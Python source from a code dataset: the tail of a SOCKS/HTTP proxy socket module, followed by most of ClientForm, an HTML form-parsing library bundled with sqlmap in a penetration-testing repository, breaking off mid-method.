def connect(self, destpair): """connect(self, despair) Connects to the specified destination through a proxy. destpar - A tuple of the IP/DNS address and the port number. (identical to socket's connect). To select the proxy server use setproxy(). """ # Do a minimal input check first if (not type(destpair) in (list,tuple)) or (len(destpair) < 2) or (type(destpair[0]) != type('')) or (type(destpair[1]) != int): raise GeneralProxyError((5, _generalerrors[5])) if self.__proxy[0] == PROXY_TYPE_SOCKS5: if self.__proxy[2] != None: portnum = self.__proxy[2] else: portnum = 1080 _orgsocket.connect(self, (self.__proxy[1], portnum)) self.__negotiatesocks5(destpair[0], destpair[1]) elif self.__proxy[0] == PROXY_TYPE_SOCKS4: if self.__proxy[2] != None: portnum = self.__proxy[2] else: portnum = 1080 _orgsocket.connect(self,(self.__proxy[1], portnum)) self.__negotiatesocks4(destpair[0], destpair[1]) elif self.__proxy[0] == PROXY_TYPE_HTTP: if self.__proxy[2] != None: portnum = self.__proxy[2] else: portnum = 8080 _orgsocket.connect(self,(self.__proxy[1], portnum)) self.__negotiatehttp(destpair[0], destpair[1]) elif self.__proxy[0] == None: _orgsocket.connect(self, (destpair[0], destpair[1])) else: raise GeneralProxyError((4, _generalerrors[4])) def create_connection(address, timeout=socket._GLOBAL_DEFAULT_TIMEOUT, source_address=None): # Patched for a DNS-leakage host, port = address sock = None try: sock = socksocket(socket.AF_INET, socket.SOCK_STREAM) if timeout is not socket._GLOBAL_DEFAULT_TIMEOUT: sock.settimeout(timeout) if source_address: sock.bind(source_address) sock.connect(address) except socket.error: if sock is not None: sock.close() raise return sock
17,105
Python
.py
375
36.610667
136
0.627635
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,197
clientform.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/clientform/clientform.py
"""HTML form handling for web clients. ClientForm is a Python module for handling HTML forms on the client side, useful for parsing HTML forms, filling them in and returning the completed forms to the server. It has developed from a port of Gisle Aas' Perl module HTML::Form, from the libwww-perl library, but the interface is not the same. The most useful docstring is the one for HTMLForm. RFC 1866: HTML 2.0 RFC 1867: Form-based File Upload in HTML RFC 2388: Returning Values from Forms: multipart/form-data HTML 3.2 Specification, W3C Recommendation 14 January 1997 (for ISINDEX) HTML 4.01 Specification, W3C Recommendation 24 December 1999 Copyright 2002-2007 John J. Lee <jjl@pobox.com> Copyright 2005 Gary Poster Copyright 2005 Zope Corporation Copyright 1998-2000 Gisle Aas. This code is free software; you can redistribute it and/or modify it under the terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt included with the distribution). """ # XXX # Remove parser testing hack # safeUrl()-ize action # Switch to unicode throughout (would be 0.3.x) # See Wichert Akkerman's 2004-01-22 message to c.l.py. # Add charset parameter to Content-type headers? How to find value?? # Add some more functional tests # Especially single and multiple file upload on the internet. # Does file upload work when name is missing? Sourceforge tracker form # doesn't like it. Check standards, and test with Apache. Test # binary upload with Apache. # mailto submission & enctype text/plain # I'm not going to fix this unless somebody tells me what real servers # that want this encoding actually expect: If enctype is # application/x-www-form-urlencoded and there's a FILE control present. # Strictly, it should be 'name=data' (see HTML 4.01 spec., section # 17.13.2), but I send "name=" ATM. What about multiple file upload?? # Would be nice, but I'm not going to do it myself: # ------------------------------------------------- # Maybe a 0.4.x? # Replace by_label etc. with moniker / selector concept. Allows, eg., # a choice between selection by value / id / label / element # contents. Or choice between matching labels exactly or by # substring. Etc. # Remove deprecated methods. # ...what else? # Work on DOMForm. # XForms? Don't know if there's a need here. __all__ = ['AmbiguityError', 'CheckboxControl', 'Control', 'ControlNotFoundError', 'FileControl', 'FormParser', 'HTMLForm', 'HiddenControl', 'IgnoreControl', 'ImageControl', 'IsindexControl', 'Item', 'ItemCountError', 'ItemNotFoundError', 'Label', 'ListControl', 'LocateError', 'Missing', 'ParseError', 'ParseFile', 'ParseFileEx', 'ParseResponse', 'ParseResponseEx','PasswordControl', 'RadioControl', 'ScalarControl', 'SelectControl', 'SubmitButtonControl', 'SubmitControl', 'TextControl', 'TextareaControl', 'XHTMLCompatibleFormParser'] try: True except NameError: True = 1 False = 0 try: bool except NameError: def bool(expr): if expr: return True else: return False try: import logging import inspect except ImportError: def debug(msg, *args, **kwds): pass else: _logger = logging.getLogger("ClientForm") OPTIMIZATION_HACK = True def debug(msg, *args, **kwds): if OPTIMIZATION_HACK: return caller_name = inspect.stack()[1][3] extended_msg = '%%s %s' % msg extended_args = (caller_name,)+args debug = _logger.debug(extended_msg, *extended_args, **kwds) def _show_debug_messages(): global OPTIMIZATION_HACK OPTIMIZATION_HACK = False _logger.setLevel(logging.DEBUG) handler = logging.StreamHandler(sys.stdout) handler.setLevel(logging.DEBUG) _logger.addHandler(handler) import sys, urllib, urllib2, types, mimetools, copy, urlparse, \ htmlentitydefs, re, random from cStringIO import StringIO import sgmllib # monkeypatch to fix http://www.python.org/sf/803422 :-( sgmllib.charref = re.compile("&#(x?[0-9a-fA-F]+)[^0-9a-fA-F]") # HTMLParser.HTMLParser is recent, so live without it if it's not available # (also, sgmllib.SGMLParser is much more tolerant of bad HTML) try: import HTMLParser except ImportError: HAVE_MODULE_HTMLPARSER = False else: HAVE_MODULE_HTMLPARSER = True try: import warnings except ImportError: def deprecation(message, stack_offset=0): pass else: def deprecation(message, stack_offset=0): warnings.warn(message, DeprecationWarning, stacklevel=3+stack_offset) VERSION = "0.2.10" CHUNK = 1024 # size of chunks fed to parser, in bytes DEFAULT_ENCODING = "latin-1" class Missing: pass _compress_re = re.compile(r"\s+") def compress_text(text): return _compress_re.sub(" ", text.strip()) def normalize_line_endings(text): return re.sub(r"(?:(?<!\r)\n)|(?:\r(?!\n))", "\r\n", text) # This version of urlencode is from my Python 1.5.2 back-port of the # Python 2.1 CVS maintenance branch of urllib. It will accept a sequence # of pairs instead of a mapping -- the 2.0 version only accepts a mapping. def urlencode(query,doseq=False,): """Encode a sequence of two-element tuples or dictionary into a URL query \ string. If any values in the query arg are sequences and doseq is true, each sequence element is converted to a separate parameter. If the query arg is a sequence of two-element tuples, the order of the parameters in the output will match the order of parameters in the input. """ if hasattr(query,"items"): # mapping objects query = query.items() else: # it's a bother at times that strings and string-like objects are # sequences... try: # non-sequence items should not work with len() x = len(query) # non-empty strings will fail this if len(query) and type(query[0]) != types.TupleType: raise TypeError() # zero-length sequences of all types will get here and succeed, # but that's a minor nit - since the original implementation # allowed empty dicts that type of behavior probably should be # preserved for consistency except TypeError: ty,va,tb = sys.exc_info() raise TypeError("not a valid non-string sequence or mapping " "object", tb) l = [] if not doseq: # preserve old behavior for k, v in query: k = urllib.quote_plus(str(k)) v = urllib.quote_plus(str(v)) l.append(k + '=' + v) else: for k, v in query: k = urllib.quote_plus(str(k)) if type(v) == types.StringType: v = urllib.quote_plus(v) l.append(k + '=' + v) elif type(v) == types.UnicodeType: # is there a reasonable way to convert to ASCII? # encode generates a string, but "replace" or "ignore" # lose information and "strict" can raise UnicodeError v = urllib.quote_plus(v.encode("ASCII","replace")) l.append(k + '=' + v) else: try: # is this a sufficient test for sequence-ness? x = len(v) except TypeError: # not a sequence v = urllib.quote_plus(str(v)) l.append(k + '=' + v) else: # loop over the sequence for elt in v: l.append(k + '=' + urllib.quote_plus(str(elt))) return '&'.join(l) def unescape(data, entities, encoding=DEFAULT_ENCODING): if data is None or "&" not in data: return data def replace_entities(match, entities=entities, encoding=encoding): ent = match.group() if ent[1] == "#": return unescape_charref(ent[2:-1], encoding) repl = entities.get(ent) if repl is not None: if type(repl) != type(""): try: repl = repl.encode(encoding) except UnicodeError: repl = ent else: repl = ent return repl return re.sub(r"&#?[A-Za-z0-9]+?;", replace_entities, data) def unescape_charref(data, encoding): name, base = data, 10 if name.startswith("x"): name, base= name[1:], 16 elif not name.isdigit(): base = 16 uc = unichr(int(name, base)) if encoding is None: return uc else: try: repl = uc.encode(encoding) except UnicodeError: repl = "&#%s;" % data return repl def get_entitydefs(): import htmlentitydefs from codecs import latin_1_decode entitydefs = {} try: htmlentitydefs.name2codepoint except AttributeError: entitydefs = {} for name, char in htmlentitydefs.entitydefs.items(): uc = latin_1_decode(char)[0] if uc.startswith("&#") and uc.endswith(";"): uc = unescape_charref(uc[2:-1], None) entitydefs["&%s;" % name] = uc else: for name, codepoint in htmlentitydefs.name2codepoint.items(): entitydefs["&%s;" % name] = unichr(codepoint) return entitydefs def issequence(x): try: x[0] except (TypeError, KeyError): return False except IndexError: pass return True def isstringlike(x): try: x+"" except: return False else: return True def choose_boundary(): """Return a string usable as a multipart boundary.""" # follow IE and firefox nonce = "".join([str(random.randint(0, sys.maxint-1)) for i in 0,1,2]) return "-"*27 + nonce # This cut-n-pasted MimeWriter from standard library is here so can add # to HTTP headers rather than message body when appropriate. It also uses # \r\n in place of \n. This is a bit nasty. class MimeWriter: """Generic MIME writer. Methods: __init__() addheader() flushheaders() startbody() startmultipartbody() nextpart() lastpart() A MIME writer is much more primitive than a MIME parser. It doesn't seek around on the output file, and it doesn't use large amounts of buffer space, so you have to write the parts in the order they should occur on the output file. It does buffer the headers you add, allowing you to rearrange their order. General usage is: f = <open the output file> w = MimeWriter(f) ...call w.addheader(key, value) 0 or more times... followed by either: f = w.startbody(content_type) ...call f.write(data) for body data... or: w.startmultipartbody(subtype) for each part: subwriter = w.nextpart() ...use the subwriter's methods to create the subpart... w.lastpart() The subwriter is another MimeWriter instance, and should be treated in the same way as the toplevel MimeWriter. This way, writing recursive body parts is easy. Warning: don't forget to call lastpart()! XXX There should be more state so calls made in the wrong order are detected. Some special cases: - startbody() just returns the file passed to the constructor; but don't use this knowledge, as it may be changed. - startmultipartbody() actually returns a file as well; this can be used to write the initial 'if you can read this your mailer is not MIME-aware' message. - If you call flushheaders(), the headers accumulated so far are written out (and forgotten); this is useful if you don't need a body part at all, e.g. for a subpart of type message/rfc822 that's (mis)used to store some header-like information. - Passing a keyword argument 'prefix=<flag>' to addheader(), start*body() affects where the header is inserted; 0 means append at the end, 1 means insert at the start; default is append for addheader(), but insert for start*body(), which use it to determine where the Content-type header goes. """ def __init__(self, fp, http_hdrs=None): self._http_hdrs = http_hdrs self._fp = fp self._headers = [] self._boundary = [] self._first_part = True def addheader(self, key, value, prefix=0, add_to_http_hdrs=0): """ prefix is ignored if add_to_http_hdrs is true. """ lines = value.split("\r\n") while lines and not lines[-1]: del lines[-1] while lines and not lines[0]: del lines[0] if add_to_http_hdrs: value = "".join(lines) # 2.2 urllib2 doesn't normalize header case self._http_hdrs.append((key.capitalize(), value)) else: for i in xrange(1, len(lines)): lines[i] = " " + lines[i].strip() value = "\r\n".join(lines) + "\r\n" line = key.title() + ": " + value if prefix: self._headers.insert(0, line) else: self._headers.append(line) def flushheaders(self): self._fp.writelines(self._headers) self._headers = [] def startbody(self, ctype=None, plist=[], prefix=1, add_to_http_hdrs=0, content_type=1): """ prefix is ignored if add_to_http_hdrs is true. """ if content_type and ctype: for name, value in plist: ctype = ctype + ';\r\n %s=%s' % (name, value) self.addheader("Content-Type", ctype, prefix=prefix, add_to_http_hdrs=add_to_http_hdrs) self.flushheaders() if not add_to_http_hdrs: self._fp.write("\r\n") self._first_part = True return self._fp def startmultipartbody(self, subtype, boundary=None, plist=[], prefix=1, add_to_http_hdrs=0, content_type=1): boundary = boundary or choose_boundary() self._boundary.append(boundary) return self.startbody("multipart/" + subtype, [("boundary", boundary)] + plist, prefix=prefix, add_to_http_hdrs=add_to_http_hdrs, content_type=content_type) def nextpart(self): boundary = self._boundary[-1] if self._first_part: self._first_part = False else: self._fp.write("\r\n") self._fp.write("--" + boundary + "\r\n") return self.__class__(self._fp) def lastpart(self): if self._first_part: self.nextpart() boundary = self._boundary.pop() self._fp.write("\r\n--" + boundary + "--\r\n") class LocateError(ValueError): pass class AmbiguityError(LocateError): pass class ControlNotFoundError(LocateError): pass class ItemNotFoundError(LocateError): pass class ItemCountError(ValueError): pass # for backwards compatibility, ParseError derives from exceptions that were # raised by versions of ClientForm <= 0.2.5 if HAVE_MODULE_HTMLPARSER: SGMLLIB_PARSEERROR = sgmllib.SGMLParseError class ParseError(sgmllib.SGMLParseError, HTMLParser.HTMLParseError, ): pass else: if hasattr(sgmllib, "SGMLParseError"): SGMLLIB_PARSEERROR = sgmllib.SGMLParseError class ParseError(sgmllib.SGMLParseError): pass else: SGMLLIB_PARSEERROR = RuntimeError class ParseError(RuntimeError): pass class _AbstractFormParser: """forms attribute contains HTMLForm instances on completion.""" # thanks to Moshe Zadka for an example of sgmllib/htmllib usage def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): if entitydefs is None: entitydefs = get_entitydefs() self._entitydefs = entitydefs self._encoding = encoding self.base = None self.forms = [] self.labels = [] self._current_label = None self._current_form = None self._select = None self._optgroup = None self._option = None self._textarea = None # forms[0] will contain all controls that are outside of any form # self._global_form is an alias for self.forms[0] self._global_form = None self.start_form([]) self.end_form() self._current_form = self._global_form = self.forms[0] def do_base(self, attrs): debug("%s", attrs) for key, value in attrs: if key == "href": self.base = self.unescape_attr_if_required(value) def end_body(self): debug("") if self._current_label is not None: self.end_label() if self._current_form is not self._global_form: self.end_form() def start_form(self, attrs): debug("%s", attrs) if self._current_form is not self._global_form: raise ParseError("nested FORMs") name = None action = None enctype = "application/x-www-form-urlencoded" method = "GET" d = {} for key, value in attrs: if key == "name": name = self.unescape_attr_if_required(value) elif key == "action": action = self.unescape_attr_if_required(value) elif key == "method": method = self.unescape_attr_if_required(value.upper()) elif key == "enctype": enctype = self.unescape_attr_if_required(value.lower()) d[key] = self.unescape_attr_if_required(value) controls = [] self._current_form = (name, action, method, enctype), d, controls def end_form(self): debug("") if self._current_label is not None: self.end_label() if self._current_form is self._global_form: raise ParseError("end of FORM before start") self.forms.append(self._current_form) self._current_form = self._global_form def start_select(self, attrs): debug("%s", attrs) if self._select is not None: raise ParseError("nested SELECTs") if self._textarea is not None: raise ParseError("SELECT inside TEXTAREA") d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) self._select = d self._add_label(d) self._append_select_control({"__select": d}) def end_select(self): debug("") if self._select is None: raise ParseError("end of SELECT before start") if self._option is not None: self._end_option() self._select = None def start_optgroup(self, attrs): debug("%s", attrs) if self._select is None: raise ParseError("OPTGROUP outside of SELECT") d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) self._optgroup = d def end_optgroup(self): debug("") if self._optgroup is None: raise ParseError("end of OPTGROUP before start") self._optgroup = None def _start_option(self, attrs): debug("%s", attrs) if self._select is None: raise ParseError("OPTION outside of SELECT") if self._option is not None: self._end_option() d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) self._option = {} self._option.update(d) if (self._optgroup and self._optgroup.has_key("disabled") and not self._option.has_key("disabled")): self._option["disabled"] = None def _end_option(self): debug("") if self._option is None: raise ParseError("end of OPTION before start") contents = self._option.get("contents", "").strip() self._option["contents"] = contents if not self._option.has_key("value"): self._option["value"] = contents if not self._option.has_key("label"): self._option["label"] = contents # stuff dict of SELECT HTML attrs into a special private key # (gets deleted again later) self._option["__select"] = self._select self._append_select_control(self._option) self._option = None def _append_select_control(self, attrs): debug("%s", attrs) controls = self._current_form[2] name = self._select.get("name") controls.append(("select", name, attrs)) def start_textarea(self, attrs): debug("%s", attrs) if self._textarea is not None: raise ParseError("nested TEXTAREAs") if self._select is not None: raise ParseError("TEXTAREA inside SELECT") d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) self._add_label(d) self._textarea = d def end_textarea(self): debug("") if self._textarea is None: raise ParseError("end of TEXTAREA before start") controls = self._current_form[2] name = self._textarea.get("name") controls.append(("textarea", name, self._textarea)) self._textarea = None def start_label(self, attrs): debug("%s", attrs) if self._current_label: self.end_label() d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) taken = bool(d.get("for")) # empty id is invalid d["__text"] = "" d["__taken"] = taken if taken: self.labels.append(d) self._current_label = d def end_label(self): debug("") label = self._current_label if label is None: # something is ugly in the HTML, but we're ignoring it return self._current_label = None # if it is staying around, it is True in all cases del label["__taken"] def _add_label(self, d): #debug("%s", d) if self._current_label is not None: if not self._current_label["__taken"]: self._current_label["__taken"] = True d["__label"] = self._current_label def handle_data(self, data): debug("%s", data) if self._option is not None: # self._option is a dictionary of the OPTION element's HTML # attributes, but it has two special keys, one of which is the # special "contents" key contains text between OPTION tags (the # other is the "__select" key: see the end_option method) map = self._option key = "contents" elif self._textarea is not None: map = self._textarea key = "value" data = normalize_line_endings(data) # not if within option or textarea elif self._current_label is not None: map = self._current_label key = "__text" else: return if data and not map.has_key(key): # according to # http://www.w3.org/TR/html4/appendix/notes.html#h-B.3.1 line break # immediately after start tags or immediately before end tags must # be ignored, but real browsers only ignore a line break after a # start tag, so we'll do that. if data[0:2] == "\r\n": data = data[2:] elif data[0:1] in ["\n", "\r"]: data = data[1:] map[key] = data else: map[key] = map[key] + data def do_button(self, attrs): debug("%s", attrs) d = {} d["type"] = "submit" # default for key, val in attrs: d[key] = self.unescape_attr_if_required(val) controls = self._current_form[2] type = d["type"] name = d.get("name") # we don't want to lose information, so use a type string that # doesn't clash with INPUT TYPE={SUBMIT,RESET,BUTTON} # e.g. type for BUTTON/RESET is "resetbutton" # (type for INPUT/RESET is "reset") type = type+"button" self._add_label(d) controls.append((type, name, d)) def do_input(self, attrs): debug("%s", attrs) d = {} d["type"] = "text" # default for key, val in attrs: d[key] = self.unescape_attr_if_required(val) controls = self._current_form[2] type = d["type"] name = d.get("name") self._add_label(d) controls.append((type, name, d)) def do_isindex(self, attrs): debug("%s", attrs) d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) controls = self._current_form[2] self._add_label(d) # isindex doesn't have type or name HTML attributes controls.append(("isindex", None, d)) def handle_entityref(self, name): #debug("%s", name) self.handle_data(unescape( '&%s;' % name, self._entitydefs, self._encoding)) def handle_charref(self, name): #debug("%s", name) self.handle_data(unescape_charref(name, self._encoding)) def unescape_attr(self, name): #debug("%s", name) return unescape(name, self._entitydefs, self._encoding) def unescape_attrs(self, attrs): #debug("%s", attrs) escaped_attrs = {} for key, val in attrs.items(): try: val.items except AttributeError: escaped_attrs[key] = self.unescape_attr(val) else: # e.g. "__select" -- yuck! escaped_attrs[key] = self.unescape_attrs(val) return escaped_attrs def unknown_entityref(self, ref): self.handle_data("&%s;" % ref) def unknown_charref(self, ref): self.handle_data("&#%s;" % ref) if not HAVE_MODULE_HTMLPARSER: class XHTMLCompatibleFormParser: def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): raise ValueError("HTMLParser could not be imported") else: class XHTMLCompatibleFormParser(_AbstractFormParser, HTMLParser.HTMLParser): """Good for XHTML, bad for tolerance of incorrect HTML.""" # thanks to Michael Howitz for this! def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): HTMLParser.HTMLParser.__init__(self) _AbstractFormParser.__init__(self, entitydefs, encoding) def feed(self, data): try: HTMLParser.HTMLParser.feed(self, data) except HTMLParser.HTMLParseError, exc: raise ParseError(exc) def start_option(self, attrs): _AbstractFormParser._start_option(self, attrs) def end_option(self): _AbstractFormParser._end_option(self) def handle_starttag(self, tag, attrs): try: method = getattr(self, "start_" + tag) except AttributeError: try: method = getattr(self, "do_" + tag) except AttributeError: pass # unknown tag else: method(attrs) else: method(attrs) def handle_endtag(self, tag): try: method = getattr(self, "end_" + tag) except AttributeError: pass # unknown tag else: method() def unescape(self, name): # Use the entitydefs passed into constructor, not # HTMLParser.HTMLParser's entitydefs. return self.unescape_attr(name) def unescape_attr_if_required(self, name): return name # HTMLParser.HTMLParser already did it def unescape_attrs_if_required(self, attrs): return attrs # ditto def close(self): HTMLParser.HTMLParser.close(self) self.end_body() class _AbstractSgmllibParser(_AbstractFormParser): def do_option(self, attrs): _AbstractFormParser._start_option(self, attrs) if sys.version_info[:2] >= (2,5): # we override this attr to decode hex charrefs entity_or_charref = re.compile( '&(?:([a-zA-Z][-.a-zA-Z0-9]*)|#(x?[0-9a-fA-F]+))(;?)') def convert_entityref(self, name): return unescape("&%s;" % name, self._entitydefs, self._encoding) def convert_charref(self, name): return unescape_charref("%s" % name, self._encoding) def unescape_attr_if_required(self, name): return name # sgmllib already did it def unescape_attrs_if_required(self, attrs): return attrs # ditto else: def unescape_attr_if_required(self, name): return self.unescape_attr(name) def unescape_attrs_if_required(self, attrs): return self.unescape_attrs(attrs) class FormParser(_AbstractSgmllibParser, sgmllib.SGMLParser): """Good for tolerance of incorrect HTML, bad for XHTML.""" def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): sgmllib.SGMLParser.__init__(self) _AbstractFormParser.__init__(self, entitydefs, encoding) def feed(self, data): try: sgmllib.SGMLParser.feed(self, data) except SGMLLIB_PARSEERROR, exc: raise ParseError(exc) def close(self): sgmllib.SGMLParser.close(self) self.end_body() # sigh, must support mechanize by allowing dynamic creation of classes based on # its bundled copy of BeautifulSoup (which was necessary because of dependency # problems) def _create_bs_classes(bs, icbinbs, ): class _AbstractBSFormParser(_AbstractSgmllibParser): bs_base_class = None def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): _AbstractFormParser.__init__(self, entitydefs, encoding) self.bs_base_class.__init__(self) def handle_data(self, data): _AbstractFormParser.handle_data(self, data) self.bs_base_class.handle_data(self, data) def feed(self, data): try: self.bs_base_class.feed(self, data) except SGMLLIB_PARSEERROR, exc: raise ParseError(exc) def close(self): self.bs_base_class.close(self) self.end_body() class RobustFormParser(_AbstractBSFormParser, bs): """Tries to be highly tolerant of incorrect HTML.""" pass RobustFormParser.bs_base_class = bs class NestingRobustFormParser(_AbstractBSFormParser, icbinbs): """Tries to be highly tolerant of incorrect HTML. Different from RobustFormParser in that it more often guesses nesting above missing end tags (see BeautifulSoup docs). """ pass NestingRobustFormParser.bs_base_class = icbinbs return RobustFormParser, NestingRobustFormParser try: if sys.version_info[:2] < (2, 2): raise ImportError # BeautifulSoup uses generators import BeautifulSoup except ImportError: pass else: RobustFormParser, NestingRobustFormParser = _create_bs_classes( BeautifulSoup.BeautifulSoup, BeautifulSoup.ICantBelieveItsBeautifulSoup ) __all__ += ['RobustFormParser', 'NestingRobustFormParser'] #FormParser = XHTMLCompatibleFormParser # testing hack #FormParser = RobustFormParser # testing hack def ParseResponseEx(response, select_default=False, form_parser_class=FormParser, request_class=urllib2.Request, entitydefs=None, encoding=DEFAULT_ENCODING, # private _urljoin=urlparse.urljoin, _urlparse=urlparse.urlparse, _urlunparse=urlparse.urlunparse, ): """Identical to ParseResponse, except that: 1. The returned list contains an extra item. The first form in the list contains all controls not contained in any FORM element. 2. The arguments ignore_errors and backwards_compat have been removed. 3. Backwards-compatibility mode (backwards_compat=True) is not available. """ return _ParseFileEx(response, response.geturl(), select_default, False, form_parser_class, request_class, entitydefs, False, encoding, _urljoin=_urljoin, _urlparse=_urlparse, _urlunparse=_urlunparse, ) def ParseFileEx(file, base_uri, select_default=False, form_parser_class=FormParser, request_class=urllib2.Request, entitydefs=None, encoding=DEFAULT_ENCODING, # private _urljoin=urlparse.urljoin, _urlparse=urlparse.urlparse, _urlunparse=urlparse.urlunparse, ): """Identical to ParseFile, except that: 1. The returned list contains an extra item. The first form in the list contains all controls not contained in any FORM element. 2. The arguments ignore_errors and backwards_compat have been removed. 3. Backwards-compatibility mode (backwards_compat=True) is not available. """ return _ParseFileEx(file, base_uri, select_default, False, form_parser_class, request_class, entitydefs, False, encoding, _urljoin=_urljoin, _urlparse=_urlparse, _urlunparse=_urlunparse, ) def ParseResponse(response, *args, **kwds): """Parse HTTP response and return a list of HTMLForm instances. The return value of urllib2.urlopen can be conveniently passed to this function as the response parameter. ClientForm.ParseError is raised on parse errors. response: file-like object (supporting read() method) with a method geturl(), returning the URI of the HTTP response select_default: for multiple-selection SELECT controls and RADIO controls, pick the first item as the default if none are selected in the HTML form_parser_class: class to instantiate and use to pass request_class: class to return from .click() method (default is urllib2.Request) entitydefs: mapping like {"&amp;": "&", ...} containing HTML entity definitions (a sensible default is used) encoding: character encoding used for encoding numeric character references when matching link text. ClientForm does not attempt to find the encoding in a META HTTP-EQUIV attribute in the document itself (mechanize, for example, does do that and will pass the correct value to ClientForm using this parameter). backwards_compat: boolean that determines whether the returned HTMLForm objects are backwards-compatible with old code. If backwards_compat is true: - ClientForm 0.1 code will continue to work as before. - Label searches that do not specify a nr (number or count) will always get the first match, even if other controls match. If backwards_compat is False, label searches that have ambiguous results will raise an AmbiguityError. - Item label matching is done by strict string comparison rather than substring matching. - De-selecting individual list items is allowed even if the Item is disabled. The backwards_compat argument will be deprecated in a future release. Pass a true value for select_default if you want the behaviour specified by RFC 1866 (the HTML 2.0 standard), which is to select the first item in a RADIO or multiple-selection SELECT control if none were selected in the HTML. Most browsers (including Microsoft Internet Explorer (IE) and Netscape Navigator) instead leave all items unselected in these cases. The W3C HTML 4.0 standard leaves this behaviour undefined in the case of multiple-selection SELECT controls, but insists that at least one RADIO button should be checked at all times, in contradiction to browser behaviour. There is a choice of parsers. ClientForm.XHTMLCompatibleFormParser (uses HTMLParser.HTMLParser) works best for XHTML, ClientForm.FormParser (uses sgmllib.SGMLParser) (the default) works better for ordinary grubby HTML. Note that HTMLParser is only available in Python 2.2 and later. You can pass your own class in here as a hack to work around bad HTML, but at your own risk: there is no well-defined interface. """ return _ParseFileEx(response, response.geturl(), *args, **kwds)[1:] def ParseFile(file, base_uri, *args, **kwds): """Parse HTML and return a list of HTMLForm instances. ClientForm.ParseError is raised on parse errors. file: file-like object (supporting read() method) containing HTML with zero or more forms to be parsed base_uri: the URI of the document (note that the base URI used to submit the form will be that given in the BASE element if present, not that of the document) For the other arguments and further details, see ParseResponse.__doc__. """ return _ParseFileEx(file, base_uri, *args, **kwds)[1:] def _ParseFileEx(file, base_uri, select_default=False, ignore_errors=False, form_parser_class=FormParser, request_class=urllib2.Request, entitydefs=None, backwards_compat=True, encoding=DEFAULT_ENCODING, _urljoin=urlparse.urljoin, _urlparse=urlparse.urlparse, _urlunparse=urlparse.urlunparse, ): if backwards_compat: deprecation("operating in backwards-compatibility mode", 1) fp = form_parser_class(entitydefs, encoding) while 1: data = file.read(CHUNK) try: fp.feed(data) except ParseError, e: e.base_uri = base_uri raise if len(data) != CHUNK: break fp.close() if fp.base is not None: # HTML BASE element takes precedence over document URI base_uri = fp.base labels = [] # Label(label) for label in fp.labels] id_to_labels = {} for l in fp.labels: label = Label(l) labels.append(label) for_id = l["for"] coll = id_to_labels.get(for_id) if coll is None: id_to_labels[for_id] = [label] else: coll.append(label) forms = [] for (name, action, method, enctype), attrs, controls in fp.forms: if action is None: action = base_uri else: action = unicode(action, "utf8") if action and not isinstance(action, unicode) else action action = _urljoin(base_uri, action) # would be nice to make HTMLForm class (form builder) pluggable form = HTMLForm( action, method, enctype, name, attrs, request_class, forms, labels, id_to_labels, backwards_compat) form._urlparse = _urlparse form._urlunparse = _urlunparse for ii in xrange(len(controls)): type, name, attrs = controls[ii] # index=ii*10 allows ImageControl to return multiple ordered pairs form.new_control( type, name, attrs, select_default=select_default, index=ii*10) forms.append(form) for form in forms: form.fixup() return forms class Label: def __init__(self, attrs): self.id = attrs.get("for") self._text = attrs.get("__text").strip() self._ctext = compress_text(self._text) self.attrs = attrs self._backwards_compat = False # maintained by HTMLForm def __getattr__(self, name): if name == "text": if self._backwards_compat: return self._text else: return self._ctext return getattr(Label, name) def __setattr__(self, name, value): if name == "text": # don't see any need for this, so make it read-only raise AttributeError("text attribute is read-only") self.__dict__[name] = value def __str__(self): return "<Label(id=%r, text=%r)>" % (self.id, self.text) def _get_label(attrs): text = attrs.get("__label") if text is not None: return Label(text) else: return None class Control: """An HTML form control. An HTMLForm contains a sequence of Controls. The Controls in an HTMLForm are accessed using the HTMLForm.find_control method or the HTMLForm.controls attribute. Control instances are usually constructed using the ParseFile / ParseResponse functions. If you use those functions, you can ignore the rest of this paragraph. A Control is only properly initialised after the fixup method has been called. In fact, this is only strictly necessary for ListControl instances. This is necessary because ListControls are built up from ListControls each containing only a single item, and their initial value(s) can only be known after the sequence is complete. The types and values that are acceptable for assignment to the value attribute are defined by subclasses. If the disabled attribute is true, this represents the state typically represented by browsers by 'greying out' a control. If the disabled attribute is true, the Control will raise AttributeError if an attempt is made to change its value. In addition, the control will not be considered 'successful' as defined by the W3C HTML 4 standard -- ie. it will contribute no data to the return value of the HTMLForm.click* methods. To enable a control, set the disabled attribute to a false value. If the readonly attribute is true, the Control will raise AttributeError if an attempt is made to change its value. To make a control writable, set the readonly attribute to a false value. All controls have the disabled and readonly attributes, not only those that may have the HTML attributes of the same names. On assignment to the value attribute, the following exceptions are raised: TypeError, AttributeError (if the value attribute should not be assigned to, because the control is disabled, for example) and ValueError. If the name or value attributes are None, or the value is an empty list, or if the control is disabled, the control is not successful. Public attributes: type: string describing type of control (see the keys of the HTMLForm.type2class dictionary for the allowable values) (readonly) name: name of control (readonly) value: current value of control (subclasses may allow a single value, a sequence of values, or either) disabled: disabled state readonly: readonly state id: value of id HTML attribute """ def __init__(self, type, name, attrs, index=None): """ type: string describing type of control (see the keys of the HTMLForm.type2class dictionary for the allowable values) name: control name attrs: HTML attributes of control's HTML element """ raise NotImplementedError() def add_to_form(self, form): self._form = form form.controls.append(self) def fixup(self): pass def is_of_kind(self, kind): raise NotImplementedError() def clear(self): raise NotImplementedError() def __getattr__(self, name): raise NotImplementedError() def __setattr__(self, name, value): raise NotImplementedError() def pairs(self): """Return list of (key, value) pairs suitable for passing to urlencode. """ return [(k, v) for (i, k, v) in self._totally_ordered_pairs()] def _totally_ordered_pairs(self): """Return list of (key, value, index) tuples. Like pairs, but allows preserving correct ordering even where several controls are involved. """ raise NotImplementedError() def _write_mime_data(self, mw, name, value): """Write data for a subitem of this control to a MimeWriter.""" # called by HTMLForm mw2 = mw.nextpart() 